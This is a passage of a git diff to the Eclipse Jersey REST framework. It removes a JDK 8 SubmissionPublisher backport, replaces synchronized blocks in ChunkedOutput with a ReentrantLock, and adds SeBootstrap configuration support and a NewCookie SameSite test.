- } - } - detach(); - break; - } - } - } - - /** - * Tries to start consumer task upon a signal or request; - * disables on failure. - */ - private void startOrDisable() { - Executor e; - if ((e = executor) != null) { // skip if already disabled - try { - e.execute(new ConsumerTask<T>(this)); - } catch (Throwable ex) { // back out and force signal - for (int c;;) { - if ((c = ctl) == DISABLED || (c & ACTIVE) == 0) { - break; - } - if (U.compareAndSwapInt(this, CTL, c, c & ~ACTIVE)) { - onError(ex); - break; - } - } - } - } - } - - final void onComplete() { - for (int c;;) { - if ((c = ctl) == DISABLED) { - break; - } - if (U.compareAndSwapInt(this, CTL, c, - c | (ACTIVE | CONSUME | COMPLETE))) { - if ((c & ACTIVE) == 0) { - startOrDisable(); - } - break; - } - } - } - - final void onSubscribe() { - for (int c;;) { - if ((c = ctl) == DISABLED) { - break; - } - if (U.compareAndSwapInt(this, CTL, c, - c | (ACTIVE | CONSUME | SUBSCRIBE))) { - if ((c & ACTIVE) == 0) { - startOrDisable(); - } - break; - } - } - } - - /** - * Causes consumer task to exit if active (without reporting - * onError unless there is already a pending error), and - * disables. - */ - public void cancel() { - for (int c;;) { - if ((c = ctl) == DISABLED) { - break; - } else if ((c & ACTIVE) != 0) { - if (U.compareAndSwapInt(this, CTL, c, - c | (CONSUME | ERROR))) { - break; - } - } else if (U.compareAndSwapInt(this, CTL, c, DISABLED)) { - detach(); - break; - } - } - } - - /** - * Adds to demand and possibly starts task. - */ - public void request(long n) { - if (n > 0L) { - for (;;) { - long prev = demand, d; - if ((d = prev + n) < prev) { // saturate - d = Long.MAX_VALUE; - } - if (U.compareAndSwapLong(this, DEMAND, prev, d)) { - for (int c, h;; ) { - if ((c = ctl) == DISABLED) { - break; - } else if ((c & ACTIVE) != 0) { - if ((c & CONSUME) != 0 || U.compareAndSwapInt(this, CTL, c, c | CONSUME)) { - break; - } - } else if ((h = head) != tail) { - if (U.compareAndSwapInt(this, CTL, c, - c | (ACTIVE | CONSUME))) { - startOrDisable(); - break; - } - } else if (head == h && tail == h) { - break; // else stale - } - if (demand == 0L) { - break; - } - } - break; - } - } - } else if (n < 0L) { - onError(new IllegalArgumentException( - "negative subscription request")); - } - } - - public final boolean isReleasable() { // for ManagedBlocker - T item = putItem; - if (item != null) { - if ((putStat = offer(item)) == 0) { - return false; - } - putItem = null; - } - return true; - } - - public final boolean block() { // for ManagedBlocker - T item = putItem; - if (item != null) { - putItem = null; - long nanos = timeout; - long deadline = (nanos > 0L) ? System.nanoTime() + nanos : 0L; - while ((putStat = offer(item)) == 0) { - if (Thread.interrupted()) { - timeout = INTERRUPTED; - if (nanos > 0L) { - break; - } - } else if (nanos > 0L && (nanos = deadline - System.nanoTime()) <= 0L) { - break; - } else if (waiter == null) { - waiter = Thread.currentThread(); - } else { - if (nanos > 0L) { - LockSupport.parkNanos(this, nanos); - } else { - LockSupport.park(this); - } - waiter = null; - } - } - } - waiter = null; - return true; - } - - /** - * Consumer loop, called from ConsumerTask, or indirectly - * when helping during submit. - */ - final void consume() { - Flow.Subscriber<? super T> s; - int h = head; - if ((s = subscriber) != null) { // else disabled - for (;;) { - long d = demand; - int c; - Object[] a; - int n; - long i; - Object x; - Thread w; - if (((c = ctl) & (ERROR | SUBSCRIBE | DISABLED)) != 0) { - if (!checkControl(s, c)) { - break; - } - } else if ((a = array) == null || h == tail - || (n = a.length) == 0 - || (x = U.getObjectVolatile(a, (i = ((long) ((n - 1) & h) << ASHIFT) + ABASE))) == null) { - if (!checkEmpty(s, c)) { - break; - } - } else if (d == 0L) { - if (!checkDemand(c)) { - break; - } - } else if (((c & CONSUME) != 0 - || U.compareAndSwapInt(this, CTL, c, c | CONSUME)) - && U.compareAndSwapObject(a, i, x, null)) { - U.putOrderedInt(this, HEAD, ++h); - U.getAndAddLong(this, DEMAND, -1L); - if ((w = waiter) != null) { - signalWaiter(w); - } - try { - @SuppressWarnings("unchecked") T y = (T) x; - s.onNext(y); - } catch (Throwable ex) { - handleOnNext(s, ex); - } - } - } - } - } - - /** - * Responds to control events in consume(). - */ - private boolean checkControl(Flow.Subscriber<? super T> s, int c) { - boolean stat = true; - if ((c & SUBSCRIBE) != 0) { - if (U.compareAndSwapInt(this, CTL, c, c & ~SUBSCRIBE)) { - try { - if (s != null) { - s.onSubscribe(this); - } - } catch (Throwable ex) { - onError(ex); - } - } - } else if ((c & ERROR) != 0) { - Throwable ex = pendingError; - ctl = DISABLED; // no need for CAS - if (ex != null) { // null if errorless cancel - try { - if (s != null) { - s.onError(ex); - } - } catch (Throwable ignore) { - } - } - } else { - detach(); - stat = false; - } - return stat; - } - - /** - * Responds to apparent emptiness in consume(). - */ - private boolean checkEmpty(Flow.Subscriber<? super T> s, int c) { - boolean stat = true; - if (head == tail) { - if ((c & CONSUME) != 0) { - U.compareAndSwapInt(this, CTL, c, c & ~CONSUME); - } else if ((c & COMPLETE) != 0) { - if (U.compareAndSwapInt(this, CTL, c, DISABLED)) { - try { - if (s != null) { - s.onComplete(); - } - } catch (Throwable ignore) { - } - } - } else if (U.compareAndSwapInt(this, CTL, c, c & ~ACTIVE)) { - stat = false; - } - } - return stat; - } - - /** - * Responds to apparent zero demand in consume(). - */ - private boolean checkDemand(int c) { - boolean stat = true; - if (demand == 0L) { - if ((c & CONSUME) != 0) { - U.compareAndSwapInt(this, CTL, c, c & ~CONSUME); - } else if (U.compareAndSwapInt(this, CTL, c, c & ~ACTIVE)) { - stat = false; - } - } - return stat; - } - - /** - * Processes exception in Subscriber.onNext. - */ - private void handleOnNext(Flow.Subscriber<? super T> s, Throwable ex) { - BiConsumer<? super Flow.Subscriber<? super T>, ? super Throwable> h; - if ((h = onNextHandler) != null) { - try { - h.accept(s, ex); - } catch (Throwable ignore) { - } - } - onError(ex); - } - - // Unsafe mechanics - private static final sun.misc.Unsafe U = UnsafeAccessor.getUnsafe(); - private static final long CTL; - private static final long TAIL; - private static final long HEAD; - private static final long DEMAND; - private static final int ABASE; - private static final int ASHIFT; - - static { - try { - CTL = U.objectFieldOffset(BufferedSubscription.class.getDeclaredField("ctl")); - TAIL = U.objectFieldOffset(BufferedSubscription.class.getDeclaredField("tail")); - HEAD = U.objectFieldOffset(BufferedSubscription.class.getDeclaredField("head")); - DEMAND = U.objectFieldOffset(BufferedSubscription.class.getDeclaredField("demand")); - - ABASE = U.arrayBaseOffset(Object[].class); - int scale = U.arrayIndexScale(Object[].class); - if ((scale & (scale - 1)) != 0) { - throw new Error("data type scale not a power of two"); - } - ASHIFT = 31 - Integer.numberOfLeadingZeros(scale); - } catch (ReflectiveOperationException e) { - throw new Error(e); - } - - // Reduce the risk of rare disastrous classloading in first call to - // LockSupport.park: https://bugs.openjdk.java.net/browse/JDK-8074773 - Class<?> ensureLoaded = LockSupport.class; - } - } -}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java b/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java deleted file mode 100644 index 3729469..0000000 --- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java +++ /dev/null
@@ -1,53 +0,0 @@ -/* - * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.internal.jsr166; - -import java.util.concurrent.Executor; -import java.util.concurrent.ForkJoinPool; -import java.util.function.BiConsumer; - -/** - * Factory creating JDK8 compatible SubmissionPublisher (Jdk8SubmissionPublisher) or JDK 9+ SubmissionPublisher - */ -public class SubmissionPublisherFactory { - - /** - * Creates a new SubmissionPublisher using the {@link - * ForkJoinPool#commonPool()} for async delivery to subscribers - * (unless it does not support a parallelism level of at least two, - * in which case, a new Thread is created to run each task), with - * maximum buffer capacity of {@link Flow#defaultBufferSize}, and no - * handler for Subscriber exceptions in method {@link - * Flow.Subscriber#onNext(Object) onNext}. - */ - public static <T> SubmittableFlowPublisher<T> createSubmissionPublisher() { - return new SubmissionPublisher<T>(); - } - - public static <T> SubmittableFlowPublisher<T> createSubmissionPublisher(Executor executor, - int maxBufferCapacity) { - return new SubmissionPublisher<T>(executor, maxBufferCapacity); - } - - public static <T> SubmittableFlowPublisher<T> createSubmissionPublisher(Executor executor, - int maxBufferCapacity, - BiConsumer<? super Flow.Subscriber<? super T>, - ? super Throwable> handler) { - return new SubmissionPublisher<T>(executor, maxBufferCapacity, handler); - } - -}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/UnsafeAccessor.java b/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/UnsafeAccessor.java deleted file mode 100644 index 19f9887..0000000 --- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/UnsafeAccessor.java +++ /dev/null
@@ -1,53 +0,0 @@ -/* - * Copyright (c) 2017, 2019 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.internal.jsr166; - -import sun.misc.Unsafe; - -import java.lang.reflect.Field; -import java.security.PrivilegedExceptionAction; - -/** - * Helper for classes in the jsr166 package to access the {@code sun.misc.Unsafe} instance. - * - * @author Adam Lindenthal - */ -class UnsafeAccessor { - static sun.misc.Unsafe getUnsafe() { - try { - return sun.misc.Unsafe.getUnsafe(); - } catch (SecurityException tryReflectionInstead) { - } - try { - return java.security.AccessController.doPrivileged((PrivilegedExceptionAction<Unsafe>) () -> { - Class<Unsafe> k = Unsafe.class; - for (Field f : k.getDeclaredFields()) { - f.setAccessible(true); - Object x = f.get(null); - if (k.isInstance(x)) { - return k.cast(x); - } - } - throw new NoSuchFieldError("the Unsafe"); - }); - } catch (java.security.PrivilegedActionException e) { - throw new RuntimeException("Could not initialize intrinsics", e.getCause()); - } - - - } -}
diff --git a/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json b/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json index ef2ae4d..184402f 100644 --- a/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json +++ b/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json
@@ -58,6 +58,12 @@ "allDeclaredConstructors":true }, { + "name":"org.glassfish.jersey.message.internal.PathProvider", + "allDeclaredFields":true, + "allDeclaredMethods":true, + "allDeclaredConstructors":true + }, + { "name":"org.glassfish.jersey.message.internal.FormMultivaluedMapProvider", "allDeclaredFields":true, "allDeclaredMethods":true,
diff --git a/core-common/src/main/resources/org/glassfish/jersey/internal/localization.properties b/core-common/src/main/resources/org/glassfish/jersey/internal/localization.properties index e546e16..e9cd448 100644 --- a/core-common/src/main/resources/org/glassfish/jersey/internal/localization.properties +++ b/core-common/src/main/resources/org/glassfish/jersey/internal/localization.properties
@@ -117,6 +117,7 @@ new.cookie.is.null=New cookie is null. no.container.available=No container available. no.error.processing.in.scope=There is no error processing in scope. +no.entitypart.builder.found="No EntityPart.Builder implementation found. Is jersey-media-multipart on a classpath?"; not.supported.on.outbound.message=Method not supported on an outbound message. osgi.registry.error.opening.resource.stream=Unable to open an input stream for resource {0}. osgi.registry.error.processing.resource.stream=Unexpected error occurred while processing resource stream {0}.
diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java b/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java index 55884e1..b7d0472 100644 --- a/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java +++ b/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,8 +16,10 @@ package org.glassfish.jersey.internal; +import jakarta.ws.rs.SeBootstrap; import jakarta.ws.rs.WebApplicationException; import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.EntityPart; import jakarta.ws.rs.core.Link; import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.core.Response; @@ -29,6 +31,8 @@ import org.junit.jupiter.api.Assertions; +import java.util.concurrent.CompletionStage; + /** * Test runtime delegate. * @@ -46,6 +50,22 @@ throw new UnsupportedOperationException("Not supported yet."); } + @Override + public SeBootstrap.Configuration.Builder createConfigurationBuilder() { + throw new UnsupportedOperationException("Not supported yet."); + } + + @Override + public CompletionStage<SeBootstrap.Instance> bootstrap(Application application, SeBootstrap.Configuration configuration) { + throw new UnsupportedOperationException("Not supported yet."); + } + + @Override + public CompletionStage<SeBootstrap.Instance> bootstrap(Class<? extends Application> aClass, + SeBootstrap.Configuration configuration) { + throw new UnsupportedOperationException("Not supported yet."); + } + public void testMediaType() { MediaType m = new MediaType("text", "plain"); Assertions.assertNotNull(m);
diff --git a/core-common/src/test/java/org/glassfish/jersey/message/internal/NewCookieProviderTest.java b/core-common/src/test/java/org/glassfish/jersey/message/internal/NewCookieProviderTest.java new file mode 100644 index 0000000..bed3458 --- /dev/null +++ b/core-common/src/test/java/org/glassfish/jersey/message/internal/NewCookieProviderTest.java
@@ -0,0 +1,51 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.message.internal; + +import jakarta.ws.rs.core.NewCookie; +import org.junit.jupiter.api.Test; + +import java.util.Date; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class NewCookieProviderTest { + + private final NewCookie newCookie = new NewCookie( + "test", + "value", + "/", + "localhost", + 1, + "comment", + 60, + new Date(), + true, + true, + NewCookie.SameSite.STRICT + ); + + @Test + public void SameSiteTest() { + final NewCookieProvider provider = new NewCookieProvider(); + final String newCookieString = provider.toString(newCookie); + assertTrue(newCookieString.contains("SameSite=Strict")); + assertEquals(NewCookie.SameSite.STRICT, provider.fromString(newCookieString).getSameSite()); + } + +}
diff --git a/core-server/pom.xml b/core-server/pom.xml index 171512f..8f94e4b 100644 --- a/core-server/pom.xml +++ b/core-server/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.core</groupId> @@ -249,20 +249,16 @@ <version>${project.version}</version> <scope>test</scope> </dependency> + + <dependency> + <groupId>org.assertj</groupId> + <artifactId>assertj-core</artifactId> + <scope>test</scope> + </dependency> </dependencies> <profiles> <profile> - <id>jdk8</id> - <activation> - <jdk>1.8</jdk> - </activation> - <properties> - <jboss.vfs.version>${jboss.vfs.jdk8.version}</jboss.vfs.version> - <jboss.logging.version>${jboss.logging.8.version}</jboss.logging.version> - </properties> - </profile> - <profile> <id>securityOff</id> <activation> <jdk>[24,)</jdk>
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java b/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java index 42d11dd..730d1ce 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2011, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved. * Copyright (c) 2018 Payara Foundation and/or its affiliates. * * This program and the accompanying materials are made available under the @@ -66,7 +66,6 @@ import org.glassfish.jersey.message.MessageBodyWorkers; import org.glassfish.jersey.message.internal.MessageBodyFactory; import org.glassfish.jersey.message.internal.MessagingBinders; -import org.glassfish.jersey.message.internal.NullOutputStream; import org.glassfish.jersey.model.internal.ComponentBag; import org.glassfish.jersey.model.internal.ManagedObjectsFinalizer; import org.glassfish.jersey.model.internal.RankedComparator; @@ -222,7 +221,20 @@ * application handler. */ public ApplicationHandler(final Class<? extends Application> jaxrsApplicationClass) { - initialize(new ApplicationConfigurator(jaxrsApplicationClass), Injections.createInjectionManager(), null); + this(jaxrsApplicationClass, null); + } + + /** + * Create a new Jersey server-side application handler configured by a + * {@link Application JAX-RS Application (sub-)class}. + * + * @param applicationClass JAX-RS {@code Application} (sub-)class that will be + * instantiated and used to configure the new Jersey + * application handler. + * @param customBinder additional custom bindings used to configure the application's. + */ + public ApplicationHandler(final Class<? extends Application> applicationClass, final Binder customBinder) { + initialize(new ApplicationConfigurator(applicationClass), Injections.createInjectionManager(), customBinder); } /** @@ -573,7 +585,7 @@ * @return response future. */ public Future<ContainerResponse> apply(final ContainerRequest requestContext) { - return apply(requestContext, new NullOutputStream()); + return apply(requestContext, OutputStream.nullOutputStream()); } /**
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ChunkedOutput.java b/core-server/src/main/java/org/glassfish/jersey/server/ChunkedOutput.java index 3220c37..a0fedf4 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/ChunkedOutput.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/ChunkedOutput.java
@@ -26,6 +26,8 @@ import java.util.concurrent.Callable; import java.util.concurrent.LinkedBlockingDeque; import java.util.concurrent.atomic.AtomicBoolean; +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; import jakarta.ws.rs.container.ConnectionCallback; import jakarta.ws.rs.core.GenericType; @@ -54,7 +56,7 @@ private final BlockingDeque<T> queue; private final byte[] chunkDelimiter; private final AtomicBoolean resumed = new AtomicBoolean(false); - private final Object lock = new Object(); + private final Lock lock = new ReentrantLock(); // the following flushing and touchingEntityStream variables are used in a synchronized block exclusively private boolean flushing = false; @@ -279,7 +281,8 @@ boolean shouldClose; T t; - synchronized (lock) { + lock.lock(); + try { if (flushing) { // if another thread is already flushing the queue, we don't have to do anything return null; @@ -297,13 +300,15 @@ // and they don't have to bother flushing = true; } + } finally { + lock.unlock(); } while (t != null) { try { - synchronized (lock) { - touchingEntityStream = true; - } + lock.lock(); + touchingEntityStream = true; + lock.unlock(); final OutputStream origStream = responseContext.getEntityStream(); final OutputStream writtenStream = requestContext.getWorkers().writeTo( @@ -342,14 +347,15 @@ } throw mpe; } finally { - synchronized (lock) { - touchingEntityStream = false; - } + lock.lock(); + touchingEntityStream = false; + lock.unlock(); } t = queue.poll(); if (t == null) { - synchronized (lock) { + lock.lock(); + try { // queue seems empty // check again in the synchronized block before clearing the flushing flag // first remember the closed flag (this has to be before polling the queue, @@ -367,6 +373,8 @@ flushing = shouldClose; break; } + } finally { + lock.unlock(); } } } @@ -380,18 +388,20 @@ onClose(e); } finally { if (closed) { + lock.lock(); try { - synchronized (lock) { - if (!touchingEntityStream) { - responseContext.close(); - } // else the next thread will close responseContext - } + if (!touchingEntityStream) { + responseContext.close(); + } // else the next thread will close responseContext } catch (final Exception e) { // if no exception remembered before, remember this one // otherwise the previously remembered exception (from catch clause) takes precedence ex = ex == null ? e : ex; + } finally { + lock.unlock(); } + requestScopeContext.release(); // rethrow remembered exception (if any)
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java b/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java index 3105c2f..6d9fba2 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java
@@ -301,6 +301,11 @@ } @Override + public boolean hasProperty(final String name) { + return propertiesDelegate.hasProperty(name); + } + + @Override public Object getProperty(final String name) { return propertiesDelegate.getProperty(name); } @@ -821,13 +826,13 @@ } /** - * Get the values of a HTTP request header. The returned List is read-only. - * This is a shortcut for {@code getRequestHeaders().get(name)}. + * Get the values of an HTTP request header if the header exists on the current request. The returned value will be + * a read-only List if the specified header exists or {@code null} if it does not. This is a shortcut for + * {@code getRequestHeaders().get(name)}. * * @param name the header name, case insensitive. - * @return a read-only list of header values. - * - * @throws IllegalStateException if called outside the scope of a request. + * @return a read-only list of header values if the specified header exists, otherwise {@code null}. + * @throws java.lang.IllegalStateException if called outside the scope of a request. */ @Override public List<String> getRequestHeader(final String name) {
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/DefaultExceptionMapper.java b/core-server/src/main/java/org/glassfish/jersey/server/DefaultExceptionMapper.java new file mode 100644 index 0000000..bd7c4d1 --- /dev/null +++ b/core-server/src/main/java/org/glassfish/jersey/server/DefaultExceptionMapper.java
@@ -0,0 +1,43 @@ +/* + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.server; + +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.ext.ExceptionMapper; +import org.glassfish.jersey.server.internal.LocalizationMessages; + +class DefaultExceptionMapper implements ExceptionMapper<Throwable> { + @Override + public Response toResponse(Throwable exception) { + return (exception instanceof WebApplicationException) + ? processWebApplicationException((WebApplicationException) exception) + : processDefaultException(exception); + } + + private static Response processWebApplicationException(WebApplicationException exception) { + return (exception.getResponse() == null) + ? processDefaultException(exception) + : exception.getResponse(); + } + + private static Response processDefaultException(Throwable exception) { + return Response.status(Response.Status.INTERNAL_SERVER_ERROR) + .entity(LocalizationMessages.ERROR_EXCEPTION_MAPPING_THROWN_TO_CONTAINER()) + .build(); + } +}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/JerseySeBootstrapConfiguration.java b/core-server/src/main/java/org/glassfish/jersey/server/JerseySeBootstrapConfiguration.java new file mode 100644 index 0000000..0f1d6d7 --- /dev/null +++ b/core-server/src/main/java/org/glassfish/jersey/server/JerseySeBootstrapConfiguration.java
@@ -0,0 +1,321 @@ +/* + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.server; + +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.core.UriBuilder; +import org.glassfish.jersey.internal.config.ExternalPropertiesConfigurationFactory; +import org.glassfish.jersey.internal.config.SystemPropertiesConfigurationModel; +import org.glassfish.jersey.internal.util.PropertiesClass; +import org.glassfish.jersey.server.internal.LocalizationMessages; +import org.glassfish.jersey.server.spi.Container; +import org.glassfish.jersey.server.spi.WebServer; + +import javax.net.ssl.SSLContext; +import java.io.IOException; +import java.net.ServerSocket; +import java.net.URI; +import java.security.NoSuchAlgorithmException; +import java.util.Collections; +import java.util.HashMap; +import java.util.Map; +import java.util.Optional; +import java.util.Random; +import java.util.function.BiFunction; +import java.util.logging.Logger; + +import static java.lang.Boolean.FALSE; +import static java.lang.Boolean.TRUE; + +/** + * Jersey implementation of {@link SeBootstrap.Configuration} implementing arbitrary methods for acquiring + * the configuration settings. + * @since 3.1.0 + */ +public final class JerseySeBootstrapConfiguration implements SeBootstrap.Configuration { + private static final Logger LOGGER = Logger.getLogger(JerseySeBootstrapConfiguration.class.getName()); + protected static final Random RANDOM = new Random(); + private final SeBootstrap.Configuration configuration; + + private JerseySeBootstrapConfiguration(SeBootstrap.Configuration configuration) { + this.configuration = configuration; + } + + @Override + public Object property(String name) { + return configuration.property(name); + } + + /** + * Compose {@link URI} based on properties defined in this configuration. + * @param resolveDefaultPort if {@code true} the port is not set, it is resolved as + * {@link Container#DEFAULT_HTTP_PORT} or {@link Container#DEFAULT_HTTPS_PORT} + * based on the protocol scheme. + * @return Composed {@link URI} based on properties defined in this configuration. + */ + public URI uri(boolean resolveDefaultPort) { + final String protocol = configuration.protocol(); + final String host = configuration.host(); + final int port = resolveDefaultPort ? resolvePort() : configuration.port(); + final String rootPath = configuration.rootPath(); + final URI uri = UriBuilder.newInstance().scheme(protocol.toLowerCase()).host(host).port(port).path(rootPath) + .build(); + return uri; + } + + private int resolvePort() { + final int configPort = configuration.port(); + final int basePort = allowPrivilegedPorts() ? 0 : 8000; + final int port; + switch (configPort) { + case SeBootstrap.Configuration.DEFAULT_PORT: + port = basePort + (isHttps() ? Container.DEFAULT_HTTPS_PORT : Container.DEFAULT_HTTP_PORT); + break; + case SeBootstrap.Configuration.FREE_PORT: + port = _resolvePort(basePort == 0); + break; + default: + port = configPort; + break; + } + return port; + } + + private int _resolvePort(boolean allowPrivilegedPort) { + final int basePort = allowPrivilegedPort ? 0 : 1024; + // Get the initial range parameters + final int lower = basePort; + final int range = 0xFFFF; + + // Select a start point in the range + final int initialOffset = RANDOM.nextInt(range - lower); + + // Loop the offset through all ports in the range and attempt + // to bind to each + int offset = initialOffset; + ServerSocket socket; + do { + final int port = lower + offset; + try { + socket = new ServerSocket(port); + socket.close(); + return port; + } catch (IOException caught) { + // Swallow exceptions until the end + } + offset = (offset + 1) % range; + } while (offset != initialOffset); + + // If a port can't be bound, throw the exception + throw new IllegalArgumentException(LocalizationMessages.COULD_NOT_BIND_TO_ANY_PORT()); + } + + /** + * Return {@link SSLContext} in the configuration if the protocol scheme is {@code HTTPS}. + * @return the SSLContext in the configuration. + */ + @Override + public SSLContext sslContext() { + final SSLContext sslContext = configuration.sslContext(); + return isHttps() ? sslContext : null; + } + + /** + * If the protocol schema is {@code HTTPS}, return {@code true}. + * @return {@code true} when the protocol schema is {@code HTTPS}. + */ + public boolean isHttps() { + return "HTTPS".equalsIgnoreCase(configuration.protocol()); + } + + /** + * Defines if the {@link WebServer} should automatically start. + * @return false if {@link ServerProperties#WEBSERVER_AUTO_START} is {@code false}, {@code true} otherwise. + */ + public boolean autoStart() { + final boolean autoStart = Optional.ofNullable( + (Boolean) configuration.property(ServerProperties.WEBSERVER_AUTO_START)) + .orElse(TRUE); + return autoStart; + } + + /** + * Defines if the {@link WebServer} should start on a privileged port when port is not set. + * @return true if {@link ServerProperties#WEBSERVER_AUTO_START} is {@code true}, {@code false} otherwise. + */ + public boolean allowPrivilegedPorts() { + return Optional.ofNullable( + (Boolean) configuration.property(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS)) + .orElse(FALSE); + } + + /** + * Factory method creating {@code JerseySeBootstrapConfiguration} wrapper around {@link SeBootstrap.Configuration}. + * @param configuration wrapped configuration + * @return {@code JerseySeBootstrapConfiguration} wrapper around {@link SeBootstrap.Configuration}. + */ + public static JerseySeBootstrapConfiguration from(SeBootstrap.Configuration configuration) { + return JerseySeBootstrapConfiguration.class.isInstance(configuration) + ? (JerseySeBootstrapConfiguration) configuration + : new JerseySeBootstrapConfiguration(configuration); + } + + /** + * Return a Jersey instance of {@link SeBootstrap.Configuration.Builder} with prefilled values. + * @return a Jersey instance of {@link SeBootstrap.Configuration.Builder}. + */ + public static Builder builder() { + return new Builder(); + } + + public static final class Builder implements SeBootstrap.Configuration.Builder { + private static final Map<String, Class<?>> PROPERTY_TYPES = new HashMap<>(); + + static { + PROPERTY_TYPES.put(SeBootstrap.Configuration.PROTOCOL, String.class); + PROPERTY_TYPES.put(SeBootstrap.Configuration.HOST, String.class); + PROPERTY_TYPES.put(SeBootstrap.Configuration.PORT, Integer.class); + PROPERTY_TYPES.put(SeBootstrap.Configuration.ROOT_PATH, String.class); + PROPERTY_TYPES.put(SeBootstrap.Configuration.SSL_CONTEXT, SSLContext.class); + PROPERTY_TYPES.put(SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION, 